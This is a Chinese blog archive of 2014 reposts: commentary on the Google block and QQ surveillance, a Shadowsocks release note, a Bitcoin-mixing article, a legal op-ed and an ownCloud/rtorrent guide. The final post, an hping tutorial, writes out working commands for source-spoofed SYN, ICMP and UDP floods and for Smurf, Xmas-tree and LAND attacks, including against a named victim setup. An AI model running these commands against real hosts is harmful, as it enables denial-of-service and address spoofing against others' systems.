2014年12月17日星期三

环球时报:谷歌“临时开禁”引发的思考


谷歌标志

2014年12月15日中午过后,有人发现可以从内地顺利登录谷歌网站,经他们在互联网发帖,消息迅速扩散。可以看出,网友们对此还是蛮高兴的,一些人猜测,政府方面同谷歌或许达成了某种协议。但到了晚上,昙花一现的谷歌访问又被锁住,又有人传,下午的“开禁”是因为GFW(中国防火墙)例行升级,谷歌重回中国市场尚有很长的路要走。
  究竟怎么回事,官方没有回应。探究昨天下午那几个小时的情况或许意义并不大,我们倒是认为,谷歌等美国网络巨头大概不会永远待在中国市场之外。我们也愿意相信,中国当下的防火墙是某种阶段性安排,如果中国内外的网上互动逐渐变得成熟,它的作用将会慢慢淡化。
  对外开放是中国社会的基础信念之一,保持互联网的开放很重要,这也是中国人普遍的一项基础认识。中国互联网应尽量与全球互联网互联互通,共享共治,我们不认为除此之外这个国家还有什么别的选择。如果不是这样,中国就不会兴师动众发起举办世界互联网大会,中国互联网管理的领军者鲁炜不久前也不会去华盛顿参加中美互联网论坛,并逐个访问美国的那些世界级互联网大公司,后者大多对中国市场抱有浓厚兴趣。
  然而与此同时,中国会坚持在互联网治理上落实本国法律,一方面促进网络自由和繁荣,一方面建立网上秩序,确保网络空间的活动对社会来说是安全的。这是中国治理的一条原则线,也是互联网管理的底线。谷歌2010年离开中国,就是不愿意接受中国法律的约束,而坚持自己所谓“普世”的做法。事实上,谷歌在包括欧洲多国的世界很多地区都针对当地法律和习俗做了让步。
  上述两个原则未必就意味着僵局,如果那样的话,中美之间就只有“墙”,而没有联和通。实际情况是,中美网上信息交换量一直在大幅增加,几个主要僵持点有的有松动迹象或希望,有的逐渐边缘化,新的信息交换活动“淹没”了它们。
  说到底,中国防的就是美国及西方对华通过互联网的一些破坏性渗透,这是中国国家利益的刚性要求。在这之外,中美网络互联互通的天地十分广阔。
  未来是足以令人乐观的。随着中国市场的扩大,吸引力不断增加,美国大互联网公司的对华态度大概不会一成不变。我们寄希望于它们终将采取更现实的对华策略,越来越愿意做中国市场的朋友。
  中国自身也在变化,我们逐渐强大,也会因此而有更多承受力,敏感信息的范围会一点点缩小。随着中国法治建设不断推进,中国网民对互联网的依法使用将更加自觉,全社会抵制网上不良信息的能力肯定是逐步增强的。
  当下是个磨合期,中美作为互联网世界的两大力量会在合作交流与磕磕碰碰中重新认识很多问题,对它们的定性将不会由美国单方面说了算,中国的话语权将会增加。
  我们相信谷歌最终会回到中国,脸谱(Facebook)等早晚也会通过某种方式进入中国市场,但这并不取决于中国单方面的态度。它们与中国市场的关系将是今后中美处理意识形态问题的某种风向标,在这当中世界看到的中国姿态将是稳健的。


转载自:http://news.sina.com.cn/pl/2014-12-16/082331290134.shtml

2014年12月10日星期三

QQ是如何监视你的聊天记录的

杭州的徐小姐是腾讯QQ的老用户了,不过,最近发生的一宗QQ号码被封事件,开始让徐小姐变得警觉、惊恐直至愤怒了。
(一)事件——QQ号码被查封
6月里的一天,徐小姐像平时一样打开电脑上网,登陆QQ时,突然弹出一个窗口,提示“禁止使用”,徐小姐试了几次,仍然是这样。徐小姐后来回忆说:“我先是通过电子邮件询问,没人理我,一个星期后,我终于忍不住打长途电话到深圳,问腾讯的客服,要她给我一个号码被封的理由。客服几分钟就查到了,说我下载了有关政治性的敏感文档,是有记录的,所以号码才会被查封。”
记者在征得徐小姐的同意后,即以该QQ号码的使用者身份致电深圳腾讯公司,了解号码被查封的情况,在报出QQ号码和密码后,该客服人员让记者稍等,几分钟后,客服人员告诉记者,这个QQ号码在5月30日下载过敏感的信息,所以被查封,而且,“不可能要回来了”!
按照徐小姐的回忆,她的确是曾经下载过一个文档,“如果不是腾讯有记录,我都想不起来了。可我连看都没有看全,又没有散布,这也要封号码?”更奇怪的是,徐小姐当时并没有使用腾讯的TE浏览器下载该文档。
徐小姐怀疑,难道只要装了QQ就可以监视用户的电脑使用情况,并且可以把用户电脑中的资料回传到腾讯的服务器上?如果这是这样,那么,还有什么个人隐私可言?况且作为QQ会员的徐小姐,她本人的身份证号码、手机号码都是按照腾讯公司要求记录在案的。
其实还不仅仅是涉及隐私问题这么简单,如果政府部门或者商业机构中有人在电脑中装有QQ,就有可能造成严重的信息外泄的安全隐患了。QQ捆绑的TE浏览器提供的“谁与我同在”的功能,就可以追踪和了解QQ用户访问了那些网站
(二)调查——用户信息被记录
一位在软件安全问题方面颇有研究的业内人士向记者证实,通过Iris抓包软件,可以看到QQ在向服务器回传不明数据,并且这些数据是经过加密处理过的。
《科学时报》刊登的一篇文章也表明,腾讯附加在QQ程序中的浏览器程序,提供的一项叫做“谁与我同在”的功能,能让任何用户都可以查到当前浏览的网页上有哪些其他的腾讯QQ用户,同时,也可以监控用户正在察看哪些页面,这些搜集来的用户浏览资料,是可以被商业化利用的。
就在记者开始着手调查并要求对腾讯进行采访的当晚,徐小姐的QQ号码竟然自动解封,可以使用了。
记者致电腾讯公司市场部,并通过电子邮件发送采访提纲要求采访。记者的主要问题是:
1,QQ是否在监视每个用户的使用情况?包括访问那些网站、下载了什么文档?
2,QQ在多大范围内监视这些信息,监视哪些信息?
3,作为一家民营的商业性质的公司,用户的个人资讯和使用习惯如何保证不被他用?
4,对于QQ的监视功能,如果被黑客或者其他情报机构利用,腾讯该负什么责任?
5,对于政府部门或者商业公司的机密,腾讯是否也可以获知?
(三)理由——企图染上政治色彩
记者的采访提纲发出后,腾讯方面并未给予任何书面的文字答复,也没有做出正式的采访安排,而是通过北京的一家公关公司与记者联系沟通。
该公关公司的人员按照记者留下的号码拨通了记者的电话,试图说服记者不要就此事进行追查和报道,她告诉记者,腾讯目前正处于强劲的上升趋势,而市面上各种即使通讯软件也是层出不穷,竞争十分激烈,如果因为记者的报道,引起腾讯QQ在商业上的损失,这是腾讯方面所不希望的。
对于徐小姐QQ号码被封一事,该公关公司人士透露,是腾讯方面接到了上级有关部门的指令,才监视该用户的使用情况并封掉了她的号码,她不肯透露是是哪个部门要求腾讯这么做的,只是告诫记者,如果就此事进行报道,有可能会“牺牲”。显然是试图把商业问题蒙上一层政治色彩。而在听到这一消息后,徐小姐表示震惊和愤怒:“我怎么觉得阴森森的?把我当成国家的敌人了?”徐小姐还信誓旦旦地对记者保证,她绝没有通过QQ发布过任何不良信息,“如果有,让他们拿出证据来,发给谁了?”
据记者调查了解到,对于网络公司及通讯软件公司,上级主管部门的确是提出过要求,对网络上有害的不良信息进行技术过滤和屏蔽,不得散布和传播,但却没有哪家公司接到过要求监视用户使用情况的指令,“真是要监视一个人,哪用得着他们呀”,一位曾作过情报工作的朋友这样告诉记者。
(四)警惕——通讯软件安全有隐患
一家通讯软件公司的技术人员告诉记者,在即时通讯软件中加进监控程序,在技术上不难实现,只要在用户本地机上加入几个关键词检索和过滤,就可以把关键信息传回服务器,而不用监视所有的聊天记录。
有关人士介绍说,即时通讯软件都存在着安全隐患,作为消费者是有权知道这些的,而作为一家商业公司却没有权利监视跟踪用户操作记录的,尊重和保护用户的隐私及安全是国际上的通行商业准则。
据赛迪网报道,6月14日,美国纽约州首席检察官办公室表示,AOL时代华纳旗下的Netscape将支付10万美元和解金,该公司因使用追踪用户下载情况的软件而遭投诉。
另一方面,由于QQ本身的安全性能缺陷,针对QQ的各种黑客软件也在不断增长,在中国软件史上,QQ应该是受各种攻击最多的在线即时通讯软件。不少商业公司已经意识到QQ的安全问题,北京的一些单位和商业公司里,是严禁使用QQ软件的。
在记者发稿前,腾讯方面通过电子邮件,给编辑发来了书面答复意见,而杭州的徐小姐却表示不会善罢甘休,她要“打电话问问看”。但无论如何,腾讯记录了该用户的使用信息,这不能不引起更多的使用者对网络通讯软件的安全问题引起重视。
附录:腾讯公司的书面答复意见
谷龙你好:
关于就杭州用户号码被封一事所发来的提纲,腾讯公司的正式答复如下,希望你凭着客观公*正的态度去报道。
首先需要严正申明的一点是,海量的信息之下,腾讯公司采取点对点的消息收发方式,决定了腾讯不能去监视用户在电脑上的操作情况。任何进行不实情况的报道的单位或个人,则需负相应责任。
作为一种即时通信软件,腾讯QQ在技术上采用的原理是一种点对点的方式。也就是说,在大部分情况下,用户之间的沟通是从一个用户到另一个用户,不需要通过腾讯服务器的中转。只有在网络不稳,网络情况复杂或用户下线等特殊情况下,腾讯服务器才会帮助用户保存并中转留言。按照上级的网络安全信息处理的规定,通过服务器中转的留言,作为腾讯公司发出的消息,将会经过信息安全的过滤机制,该名用户正是因为通过腾讯服务器中转了含有敏感词汇的留言内容,因此腾讯做了封号处理。至于后来解封,是因为该用户的留言内容虽含有敏感内容,但还不属于有意传播非***法内容的情况。为了保障用户权益,我们对这个号码做了解封的处理。
腾讯公司一向注重并保护用户隐私。关于该用户的留言内容,发送时间与对方号码,腾讯目前不能提供。
如有需要,腾讯会在法律手续齐全的情况下提供。
腾讯QQ为海量用户提供服务,每天有超过两千万用户上线沟通、聊天。发送消息量在10亿条/天左右,腾讯无必要也无能力保存每位用户的每条留言纪录,更谈不上监视一亿六千万用户的电脑使用行为。
在主管部门的要求下,腾讯会配合主管部门对网络安全工作进行协助,并按主管部门要求做一些处理。一切行为均符合有关规定与要求。
腾讯公司
附:国内一资深程序员谈QQ和1984.
从技术上来讲,象QQ这样安装在非常多的电脑里的软件内容: 非常合适拿来做监视软件。说穿了,就是非常合适在里面安装后门。
“腾讯QQ为海量用户提供服务,每天有超过两千万用户上线沟通、聊天。发送消息量在10亿条/天左右,腾讯无必要也无能力保存每位用户的每条留言纪录,更谈不上监视一亿六千万用户的电脑使用行为。”
这段话看起来似乎有道理。如果要拿一台大型服务器集中管理10亿条消息,那台服务器还真得投资巨大,运算速度巨大才行。
但如果只在QQ软件本身对用户进行监视,利用每个用户自己的CPU运算资源,只发现“敏感”词汇的时候才将“敏感”消息传到特定的地方,需要用来监视的服务器就不需要太大型了。
“作为一种即时通信软件,腾讯QQ在技术上采用的原理是一种点对点的方式。也就是说,在大部分情况下,用户之间的沟通是从一个用户到另一个用户,不需要通过腾讯服务器的中转。”
如果QQ软件本身对使用这进行监视,点对点的消息也一样可以监视到。
中国Internet的国际出口,每天多大的信息流量啊,在我们伟大的“长城”项目的科研成果管理下,如此巨大的信息流量,还不照样每条信息都过滤。
没事多读几遍《1984》,学会夹着尾巴作人,不要乱说乱动,不要使用互联网,为人不做亏心事,就不怕半夜鬼敲门了。


本文转载自网易科技——《QQ是如何监视你的聊天记录的

2014年11月28日星期五

shadowsocks for windows 2.0

由于 Windows 用户的反馈很多,所以赶了一下把这个版本做出来了。相当于把 ShadowsocksX 的全部功能移植过来了。

Features:

1. 原生 Windows UI,通过托盘菜单操作主要功能
2. 一键切换系统代理,无需浏览器插件
3. 内置可编辑的 PAC 服务
4. 提供 HTTP 代理,兼容 IE
5. 多服务器配置切换,兼容 shadowsocks-gui 的配置文件
6. 只有一个不到 200KB 的 exe

下载:

https://github.com/clowwindy/shadowsocks-csharp

使用说明:

1. 启动后在状态栏右下角找到 Shadowsocks 图标
2. 可以添加多个服务器,通过托盘菜单来快速切换
3. 配置后点击菜单中的 Enable 来启用系统代理
4. 用任意编辑器修改 PAC 保存后,会自动通知浏览器更新 PAC
5. 如果浏览器装了代理插件,把它们禁用或设为“使用系统代理设置”状态
6. 如果启动提示缺依赖可能要装 2008 运行时或 .Net 2.0,Google 之就有。

由于这个 Windows 版本以及 OS X 原生版都比 GUI 好用太多了,GUI 项目将废弃掉,如果还有什么想从 GUI 移植过来的功能或者其它问题请反馈。

附:

1.如果不 Enable,代理也会运行,proxy port 上会有一个 socks5 代理,8123 上会有一个 http 代理,都是只有本机才能访问的。

2.如果遇到错误,不能工作,速度慢等等请先更新最新版,如果还是不行请反馈。反馈的时候请提供从启动开始的所有具体操作步骤,比如具体点了哪些按钮和菜单项,不然无法重现问题。

3.看反馈在 Windows 8.1 上有些权限相关的兼容性问题,不过 8.1 连同开发工具装起来比较费事,这几天暂时没时间装,欢迎用 8.1 的童鞋帮忙 debug 和发 pull request……

如果遇到问题一般退出后 kill 掉 ss_polipo.exe 再启动应该能解决。

原地址:https://www.v2ex.com/t/144934

2014年11月19日星期三

终于发现比特币的匿名性不可靠了

随着当前比特币基金代表与多家美国监管机构高层官员的会晤,比特币匿名性问题再次成为了众人瞩目的焦点。一方面为了故意对监管者掩饰比特币保护隐私的能力,另一方面由于最近斯诺登对美国国家安全局数字监控计划范围的爆料,最后由于对比特币交易图表本身的最新研究,目前的氛围是:比特币的匿名性可能远不如我们所想的那样好。在8月14日,乔治梅森大学的研究人员发布了一篇涉及到监管比特币的入门书,书中的评价大大降低了它的匿名性。在8月26日,Vice发表了一篇“描述研究人员成功地把一些比特币交易去匿名化”的文章,并且第二天一篇类似的文章登上了商业周刊。然而,有许多人把比特币匿名性不足看作是一个问题。但是在今天,两位西班牙比特币开发者想出了一个解决方案。
去匿名化的比特币
首先讨论一下问题。像一般理解的那样,比特币的隐私模式如下所述。所有比特币交易都必然是公开的,否则就有可能出现同一笔钱被同时花了多次而产生多个不同的交易,并且这种欺诈直到很晚才能发现。尽管交易是公开的,但是交易双方的身份却是保密的,而这正是比特币系统能够保护隐私的原因。任何查看区块链的人都能够看到“1Mcqmmnx发了 1.2321 比特币给1V1tAL”,但是他们看不到现实世界中究竟是谁发比特币给谁。这有可能是奶奶为了给孙子从比特币商店买新电脑而发的,有可能是丝绸之路网站上的商家为套现而发的,还有可能仅仅是MtGox公司发给自己的。
但是,在过去几年里,研究人员一直都在指出这种隐私模式并非很像看起来这么完美。在2011年,研究人员Fergal Reid和Martin Harrigan公布了一项分析报告,而该报告所讲的内容之一就是他们试图追踪一件在2011年6月发生的涉及2万5000比特币的盗窃案。对于执法机关来说,报告中没有任何有价值的结果,但是这两位研究员却成功地追踪了相对长的一段距离。之后,苏黎世的研究人员详述了去比特币匿名化的技术。再之后在今年的8月份,一组来自乔治梅森大学和加州大学圣地牙哥分校的研究人员发布了一篇报告,其标题为“一把比特币:描述匿名支付的特性”。看起来他们从几起比特币失窃案中一路成功地追踪比特币到了一家交易平台。从理论上讲,执法机关可以要求这家交易网站交出窃贼的身份信息。
从本质上来说,比特币的去匿名化依赖于一个根本性的洞察。仅仅给定一组关于人的信息和一组关于比特币交易的信息,而不给任何涉及二者关系的信息,则确定哪个地址属于哪个人确实是非常困难的。但是,当你知道哪怕一条关联信息(某个比特币交易或地址关联到现实世界中的某个具体的人或事件,从那里就有可能“追踪比特币”并且获取许多其它方面的信息。比如说,追踪者可能会发现该用户的老板、最喜欢的商家、顾客和其他人的比特币地址)或者更多关联信息时,一个人可能很快就确定该用户最喜欢的商家。除了简单地“追踪比特币”,还有两个比特币侦探可以使用的更高级的工具。
首先,存在一个概念叫做闭包。一个地址的闭包的递归定义如下; 一个地址在它自己的闭包里。 如果地址A在某个闭包里并且存在一个使用来自地址A和地址B的货币作为输入的交易,则地址B也在该闭包里。
计算一个地址的闭包时,只需在从这个地址开始一直到你停止添加新地址的过程中重复地应用闭包的定义。这个概念的威力如下:在同一个闭包里的所有地址几乎可以肯定都归同一个用户所有。如果一个交易有多个输入地址,则原因几乎总是:用户需要把一定数额的钱支付到某个地址里,但是他的任何一个地址里钱的总额都不够,于是钱包软件为了付款不得不从两个甚至更多的地址里取钱。有了这个工具,如果你能证明哪怕一个地址归属于某个具体的人(比如说,如果你是一个从他们那里接受比特币付款的商人),那么你就很可能发现他们的绝大部分钱包地址。
其次,该报告还介绍了一些探测“零钱地址”的启发式算法。在消费时,零钱地址被比特币钱包用来发送额外的钱给交易的收款地址。比如说,如果你收到了50比特币然后接着花了1比特币,剩余的49比特币就去一个由你的钱包新生成的零钱地址。这么做而不是把那49比特币发回原初的地址是为了增加隐蔽性。这个报告的许多地方就是在解决怎么才能够自动辨别零钱地址和交易的正常收款地址。通过增加了这类启发式算法,研究人员比只使用闭包走得更远,常常追踪交易长链达几百步并最终获得成功:他们成功地追踪一些被偷资金到一家比特币交易网站。
解决方案
迄今为止,解决比特币匿名性不足的主要方法是混合服务,比如说在网站blockchain.info 和丝绸之路上的服务。混合服务的工作原理如下所述。用户给混合服务一个接收混合后的比特币的地址,而混合服务给用户一个发送比特币的地址。全世界成千上万的用户把比特币发送给混合服务商,而服务商在内部洗完钱后,除了扣除少量手续费外,其余的比特币如数(不是相同的比特币)发到每个用户的接受地址上。由于在区块链上找不到用户发送地址和接受地址的关联,所有在理论上只要混合完成相关信息就会被抹掉。但是,这种匿名方式需要提前建立洗钱双方的信任。用户不仅需要信任洗钱服务商不会透露自己的两个地址之间的关联,还需要相信服务商不会偷走自己的钱。更不幸的是,如果服务商偷了钱,用户将无法证明。
但是现在,比特币开发者Amir Taaki和Pablo Martin研究出来一个新的办法负责解决比特币的匿名性问题:一个半去中心化无须为信任担忧的洗钱系统。去中心化混合服务的基本思想并不新鲜,目前所有提交的体系包括这一个的工作原理都类似。有一群都想把一定数额的比特币(比如说0.01比特币)和其他人的混合的人通过某些沟通渠道走到了一起并且完成了一笔交易,其中,每个人都出0.01比特币(输入)而接收0.01比特币(输出)。交易的顺序被打乱了,因此无法知道在区块链上一个输出究竟对应于哪个输入。但是,麻烦在于如何保证各个参与者的输入和输出信息不被其中一个参与者知道。在2013年五月的比特币大会上Oliver Coutu提出了一个办法。这个办法通过保证多方计算的安全来构造无人能够准确的知道其他人的输入或输出的交易。可是,它的数学原理很复杂(尽管不像零币的那么复杂),所有现在还没有简单易用的应用出现。
Taaki和Martin提出的方法简单多了。它的协议在在该项目的网页上有详细地描述。工作原理大致如下: N个人聚在一起并且同意混X个比特币,并且他们中的一个人发送N和X的值以及“房间号码”给一个中间服务商。 每个人用匿名网络比如Tor给服务商发送一条带有房间号码和接受地址的信息。 一旦N个人都发送进来了他们的接受地址,则服务商会给每个人发送确认信息。 每个人都匿名地给服务商发送一条包含房间号和发出地址的信息。 服务商在所有人都把X个比特币发过来后,用这些比特币构造一个交易并向每个接收地址发送X个比特币。然后,服务商把交易发给每个人来签名。 每个人都检查交易中向自己的接受地址发送的比特币的数额是否正确。检查完毕后,你们发送给服务商自己的签名。 服务商公开签过名的交易。
如上所说,这个协议没有一点特别的创意。事实上,Taaki和Martin第一次发现这个主意的地方是在一个比特币开发员Gregory Maxwell描述CoinJoin概念的论坛帖子里。然而,神奇的地方在于它的实现过程。这两个人使用Taaki 本人发明的比特币工具箱SX(花费了他们几个小时来掌握应用)快速地实现交易。如果他们自己写代码或者复制比特币客户端Armory 或Electrum上的代码的话,实现过程将耗费多得多的时间。
他们的这个实现方法胜过其它实现方法的地方在于它易于使用。Taaki和Martin专门创造了一个简单的图形用户界面。用户只需输入发送地址、服务商的网址和接收地址,系统就会自动处理一切。“我们已经交付了易用的软件,连老奶奶都会觉得简单(发出钱,收到钱),不需要区块或bitcoind,还易于安装不需要担心信任问题。”Taaki 写道。为了那些感兴趣的人,他还发布了一个从开始到结束描述整个过程的视频。只需要一分钟就能完成这个过程。“这是一个实验性的软件,”Taaki说道,“但是它现在就能用”。任何对比特币的洗钱感兴趣的可以在这里(http://sx.dyne.org/anontx/)下载源代码和读指导说明。半中心化并且没有信任忧虑的的比特币匿名性已经刚刚民主化了。
Taaki和Martin的洗钱办法被批评为“中心化”,但事实上它的中心化程度是微不足道的。中间商不知道哪个发送地址对应着哪个接收地址(因为人们在不同阶段的不同时间发送他们的信息),也没有机会偷比特币。如果中间商用自己的接收地址替换了别人的接受地址,没有收到比特币的人发现后会拒绝签收交易,这将导致协议失效。唯一失败的可能性只在于没有发生的交易。此外,任何人都可以成为交易商而本质上却不需要任何起步费。实际上,完全去中心化的体系可以让N个人中的一个人在百忙之中充当交易商。
这种机制也许不经意间实现了另一个目标:如果得到广泛的使用,它有很大的可能使得“闭包”概念不能发挥作用。闭包依赖的前提假设是一个交易的所有发送地址都是有一个人签收的。然而这里洗钱交易的不同发送地址是由不同的人签收的。当然,目前使用的协议可以被轻松地对付,因为闭包算法可以故意避开各个发送地址的发送金额相等的交易。然而,匿名者们可以反击。从理论上说,一个人在同一场洗钱活动中可以参加多次,也就是说发出和接收的面额不同(比如说,通过一个地址发出0.03比特币,但却通过三个不同接收地址个收取0.01个比特币)。从另一方面看,一般的钱包可以故意使它们的交易看起来像是匿名交易。比如,一个钱包提供商可以使他的钱包总是提供0.01比特币的零钱,因而每笔交易都自然而然地看起来像是洗钱。尽管将来会有一些方法识破很多这类事情,但是这仍然使闭包的地位从发现一个人秘密金库的必杀技降为普通的试探性方法。
监管者将对此做何感想?如果洗钱活动变得很普遍(比如说,通过整合进现有的比特币钱包)必然会使通过监管交易跟踪比特币变得更加困难。但是,对于那些关注大公司、独裁者和拥有几十亿美元的毒品集团人来说,这个系统有一个可取之处:你想洗的钱愈多,洗钱的难度就愈大。“当(小偷)为了隐藏货币来源而试图使用洗钱服务时,”乔治梅森报告写道,“我们再次强调这些服务目前不具备洗掉几千比特币的能力。”如果一个亿万富翁想在blockchain.info网站上把他的所有钱都洗掉,那么待洗比特币中将有99%都是他自己的,这意味着从本质上而言,洗钱活动对亿万富翁没用。进一步来说,当交易量足够大时,交易流向将自动地变得更加难以识别。可能会有几百万人转移大约0.01比特币,但是仅有少数人才有10万比特币。这些比特币去匿名化的报告看上去目前研究人员已经在发现洗钱者隐藏比特币地址方面相当地成功。每个案例中地故事都是类似的:金钱越多,隐私越少。为了对别人隐瞒你的医疗采购或对政府掩盖你抽大麻的习惯而洗50美元,可以呀。但是让13亿美元突然从地球表面消失?实际上比特币也许让这变得难多了。
(译文完)
原文标题:Trustless Bitcoin Anonymity Here at Last
原文作者:Vitalik Buterin
原文发表时间:2013年8月28日
原文网址:http://bitcoinmagazine.com/6630/trustless-bitcoin-anonymity-here-at-last/
翻译者:自然而然

2014年11月18日星期二

斯伟江:闭门开会构成寻衅滋事吗?

【编者按:今天用法治新观察(微信号lawreview)的备用小号新观察家推送一篇文章,你懂的。。】

都知道公权力的无底线,譬如微博500转入刑,没想到,还有击破底线的时候。
都知道就闭门开了一个会议,讨论一个公共事件,刑法第293条的寻衅滋事罪,原来是流氓罪的马甲,正如现在刑法中煽动颠覆罪就是反革命罪的马甲一样,凡是用得顺手的工具,换个样子都留着,正如对付老百姓的投机倒把罪,现在以非法经营罪的马甲活着。
社会是进步了,但杀猪刀得留着。除非你移民,否则,不管你多少富余,如重庆的富豪们,广东的蔡达标们,四川的刘汉们,沾点边的,随时可以杀猪,在官面前不要以为自己是谁!
但人,终究是人,要站着说话,站着做人。我的“小弟”浦志强就是一个。这个“小弟”玩笑称呼,我是拿一个相机换来的,那天看到了他的会议照片时,我在下面留言说,今天,他是大哥了。没想到,大哥没几天,他就进去了。
他多少和我一起做了不少刑事案子,知道,闭门开会,只要不是南湖的游船会议,或者搞秋收起义,都不是构成犯罪的。当他家被搜查时,搜查证上没写罪名,我以为是煽动颠覆,因为那是文字狱的祖宗。谁知道居然是寻衅滋事。
这个罪法律规定有四种形式,1,随意殴打他人,情节恶劣的。2,追逐、拦截辱骂、恐吓他人,情节严重恶劣的。3.强拿硬要或者任意毁损、占用公私财物,情节严重的;4,在公共场所起哄闹事,造成公共场所秩序严重混乱的。处刑5年以下。多次这样的行为,严重破坏社会秩序,5年到10年。这个“流氓罪”,和闭门开会,相差千里。
去年新政以来,最高法、最高检出了一个司法解释,即网上熟知的500转入罪。对寻衅滋事延伸到了网上,多了,1,利用信息网络辱骂、恐吓他人,情节恶劣,破坏社会秩序的,构成寻衅滋事罪。2,编造虚假信息或者明知是虚假信息,在信息网络上散布,或者组织、指使他人人员在信息网络上散布,起哄闹事,造成公共秩序严重混乱的。
这个司法解释,如要发布啥,也指虚假信息,闭门会议照片属实,明显不是虚假信息。因此,寻衅滋事罪这个口袋虽然大,但也套不进去这样的闭门会议,除非用的不是汉语词典。法网虽然编织得非常密了,而且也可以伸缩的,但,毕竟无法紧密到闭门开一个研讨会也会变犯罪的地步。
结论已经很清楚了,真正寻衅滋事的,是权力机关。想起,戊戌六君子中,刘光第原本是刑部主事,懂法律,他说,不审讯就杀人,是违反大清律的。没想到监斩的满族死硬派刚毅,根本不在乎大清律,更何况慈禧,13年后,辛亥革命爆发。
就算法律不是对所有人都公平正义的,是统治阶级的统治工具,也得知道,这是一个做人、执政的基本原则,说话算数。已经是按照你的新意思,解释了“流氓罪”,还不执行。那么,如同一个人不讲信用,没有原则,实际上已经乾坤颠倒了!
来源:有道云笔记

2014年11月12日星期三

owncloud+rtorrent+screen打造个人离线下载

环境

  • centos6 vps 1g memory/100g ssd
  • httpd+mysql

安装owncloud。

$yum -y install owncloud
发现默认owncloud把自己的本体安装到了/usr/share/owncloud目录下。 按上面链接的方法搬运到现在使用的/var/www目录下,并修改/etc/httpd/conf.d/owncloud.conf。
alias /owncloud /var/www/owncloud

<Location /owncloud>
    AllowOverride All
#   SSLRequireSSL # https
</Location>
接下来用mysql建表。
# mysql -u root -p
> create database owncloud;
>  grant all privileges on owncloud.* to 'owncloud'@'localhost' identified by '密码' with grant option;
顺带一提用sqlite也是可以的。这样的话就不需要授权啊密码之类麻烦的事情了。
接下来修改owncloud/config/config.php。
特别注意默认的path还是/usr/share/,需要将其改称 /var/www。
改好之后service httpd restart一下httpd服务器进入主页面开始一键安装。
安装好之后入下图效果。

安装rtorrent

rtorrent是终端下面开源的p2p下载工具。我们需要用这个和owncloud连携。
%wget http://libtorrent.rakshasa.no/downloads/rtorrent-0.9.4.tar.gz

%tar xvf rtorrent-0.94-tar.gz

%cd rtorrent-0.94

%./configure

%make

%make install
安装完之后进行rtorrent的设定。
%vim .rtorrent.rc
enable_trackers = no
session = ~/torrent/.rtorrent
directory = ~/torrent/tmp
max_uploads = 2
upload_rate = 30
download_rate = 1000
schedule = watch_added,5,5,load_start=/var/lib/owncloud/data/owncloud账号/files/torrent/*.torrent
schedule = untied_directory,5,5,stop_untied=
on_finished = move_complete,"d.set_directory=/var/lib/owncloud/data/owncloud账号/files/torrent/;\
execute=mv,-u,$d.get_base_path=,/var/lib/owncloud/data/owncloud账号/files/torrent/"
简单说明一下这个配置,其实很明显,允许最大2线程下载,上传速度限定死30,下载速度限定死1000kbps。希望vps的运营商别来找我麻烦。
下面的第一行schedule绑定种子上传目录,当发现目录里面有种子文件的话会开始下载。
第二行schedule指明当下载完成之后就把暂存在directory的文件转移到指定的目录里边去。
以上步骤之后基本ok。登陆自己的owncloud,建立一个叫做torrent的文件夹吧。然后随便传个毛片种子上去。
这时候打开rtorrent,发现rtorrent已经开始下载了哈哈。
不久就下载完成了。

这个时候刷新一下自己owncloud的torrent目录,发现下完的毛片已经静静地躺在里面。速度http满速到本地吧。

screen

当然目前为止还有一个问题没解决,那就是rtorrent在断开ssh之后会自己停止。 我们需要的是只需通过网页往torrent文件夹里上传种子就可以让其自动下载资源的效果,所以我们还需要让在ssh断开之后还保持执行。
这个时候第一个想到nohup命令。
%nohup rtorrent &
但是nohup需要退出的时候得自己通过lsof -i:portnumber命令找到对应端口进程然后调用kill -9 进程号手动杀死。搞得不好还杀不干劲拖泥带水。
这个时候就该用到screen这个工具了。
%yum install screen

%screen
安装之后执行screen命令会跳到一个新打开的终端。
在这个终端执行rtorrent
这个时候rtorrent开始工作,然后我们使用^+a,^+d可以断开这个终端。当然这个终端还是存在的。我们可以随时用screen -r命令找回暂时断开的终端。

2014年11月11日星期二

使用 Hping 模拟DDOS攻击 伪造数据包

使用 Hping 模擬 DDos 攻擊 (这个可以在snort上试一试)
安裝hping (建議將hping2.0.0-rc1.tar.gz檔案放在 /usr/local下)
# tar zxvf hping2.0.0-rc1.tar.gz
# cd hping2
# ./configure
# make
# make install
要看說明,可以輸入 hping2 --help
下面是一些常用的方法
hping www.abc.net.tw -1 -i u100000 -a 100.100.100.100
每秒送10個(-i u10000)ICMP(-1)封包到www.abc.net.tw 偽造來源IP(-a)為100.100.100.100
註:-1為數字非英文
hping www.abc.net.tw –i u1000000 –a 100.100.100.100 –s 22222 –p 44444
每秒送1個(-i u1000000)TCP(default)封包到www.abc.net.tw的port 44444,偽造來源IP(-a)100.100.100.100使用的port為22222
測試1: SYN Flooding(每秒10個封包)
hping 目標主機IP –i u100000 –S –a 偽造來源IP
測試2 :偽造IP的ICMP封包(每秒10個封包)
hping 目標主機IP –i u100000 –1 –a 偽造來源IP
註:-1為數字非英文
測試3:不正常TCP Flag組合封包(每秒10個封包)
(a)SYN+FIN
hping 目標主機IP –i u100000 –S –F –a 偽造來源IP
(b)X’mas
hping 目標主機IP –i u100000 –F –S –R –P –A –U –a 偽造來源IP
測試4:偽造IP的UDP封包
hping目標主機IP –i u100000 –2 –a 偽造來源IP
測試5:偽造IP內含CodeRed封包
hping 目標主機IP –i u100000 –d [封包datasize] –E [filename] –a [偽造來源IP]
Hping2 构造数据包
SMURF攻击
hping2 -1 -a 192.168.1.5 192.168.1.255
XMAS TREE攻击
hping2 -SFRP 192.168.1.5
LAND攻击
hping2 -k -S -s 25 -p 25 -a 192.168.1.5 192.168.1.5
Extra:
用tcpdump记录流量
cron任务: 5 3 * * * /usr/sbin/tcpdump -c 25000 -w dumpfile -n
            (捕获25000个包,将原始报文转储到dumpfile中)
查看记录: tcpdump -r dumpfile -X -vv


我们可以来个实际的例子:
step 1:目标主机安装了blackice,它的 ip address是 ip.add.of.victim
step 2:发起攻击的一太linux 机器,上面安装了hping
执行如下命令
---
[root@yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a ip.add. of.dnsserver
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
--- ip.add.of.victim hping statistic ---
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms
[root@yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a
www.google.com
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers
+ 4 data bytes
